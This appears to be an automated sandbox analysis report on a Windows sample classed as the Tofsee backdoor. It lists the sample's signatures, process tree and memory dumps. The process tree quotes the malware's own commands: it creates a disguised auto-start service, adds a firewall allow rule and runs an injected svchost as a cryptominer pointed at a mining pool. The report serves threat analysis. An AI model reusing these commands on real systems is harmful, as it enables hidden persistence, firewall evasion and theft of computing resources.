Overview

overview

10

Static

static

3a8d8102f2...f3.exe

windows7_x64

10

3a8d8102f2...f3.exe

windows10_x64

10

Analysis

  • max time kernel
    143s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    11/11/2020, 11:27

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General

  • Target
    3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe
  • Size 12.5MB
  • Sample201111-4vgc98vs2s
  • SHA256 3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe
    "C:\Users\Admin\AppData\Local\Temp\3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:644
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wcvauxcp\
      2⤵
        PID:1332
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fioixitz.exe" C:\Windows\SysWOW64\wcvauxcp\
        2⤵
          PID:316
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wcvauxcp binPath= "C:\Windows\SysWOW64\wcvauxcp\fioixitz.exe /d\"C:\Users\Admin\AppData\Local\Temp\3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1608
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description wcvauxcp "wifi internet conection"
            2⤵
              PID:756
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start wcvauxcp
              2⤵
                PID:888
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:784
            • C:\Windows\SysWOW64\wcvauxcp\fioixitz.exe
              C:\Windows\SysWOW64\wcvauxcp\fioixitz.exe /d"C:\Users\Admin\AppData\Local\Temp\3a8d8102f2e26112e04173c85b83cf5977e7da32ac224fbfda668bf066c50df3.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1740
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:616
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:520

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/520-22-0x00000000000C0000-0x00000000001B1000-memory.dmp
                  Download

                  memory/520-21-0x00000000000C0000-0x00000000001B1000-memory.dmp
                  Download

                  memory/616-18-0x0000000000410000-0x0000000000415000-memory.dmp
                  Download

                  memory/616-19-0x00000000059A0000-0x0000000005DAB000-memory.dmp
                  Download

                  memory/616-20-0x0000000000420000-0x0000000000427000-memory.dmp
                  Download

                  memory/616-17-0x00000000002C0000-0x00000000002D0000-memory.dmp
                  Download

                  memory/616-16-0x00000000002A0000-0x00000000002A6000-memory.dmp
                  Download

                  memory/616-15-0x0000000001C70000-0x0000000001E7F000-memory.dmp
                  Download

                  memory/616-12-0x0000000000100000-0x0000000000115000-memory.dmp
                  Download

                  memory/616-14-0x0000000000100000-0x0000000000115000-memory.dmp
                  Download

                  memory/644-0-0x0000000002479000-0x000000000247A000-memory.dmp
                  Download

                  memory/644-1-0x0000000004000000-0x0000000004011000-memory.dmp
                  Download

                  memory/1740-11-0x0000000002820000-0x0000000002831000-memory.dmp
                  Download

                  memory/1740-10-0x00000000002F9000-0x00000000002FA000-memory.dmp
                  Download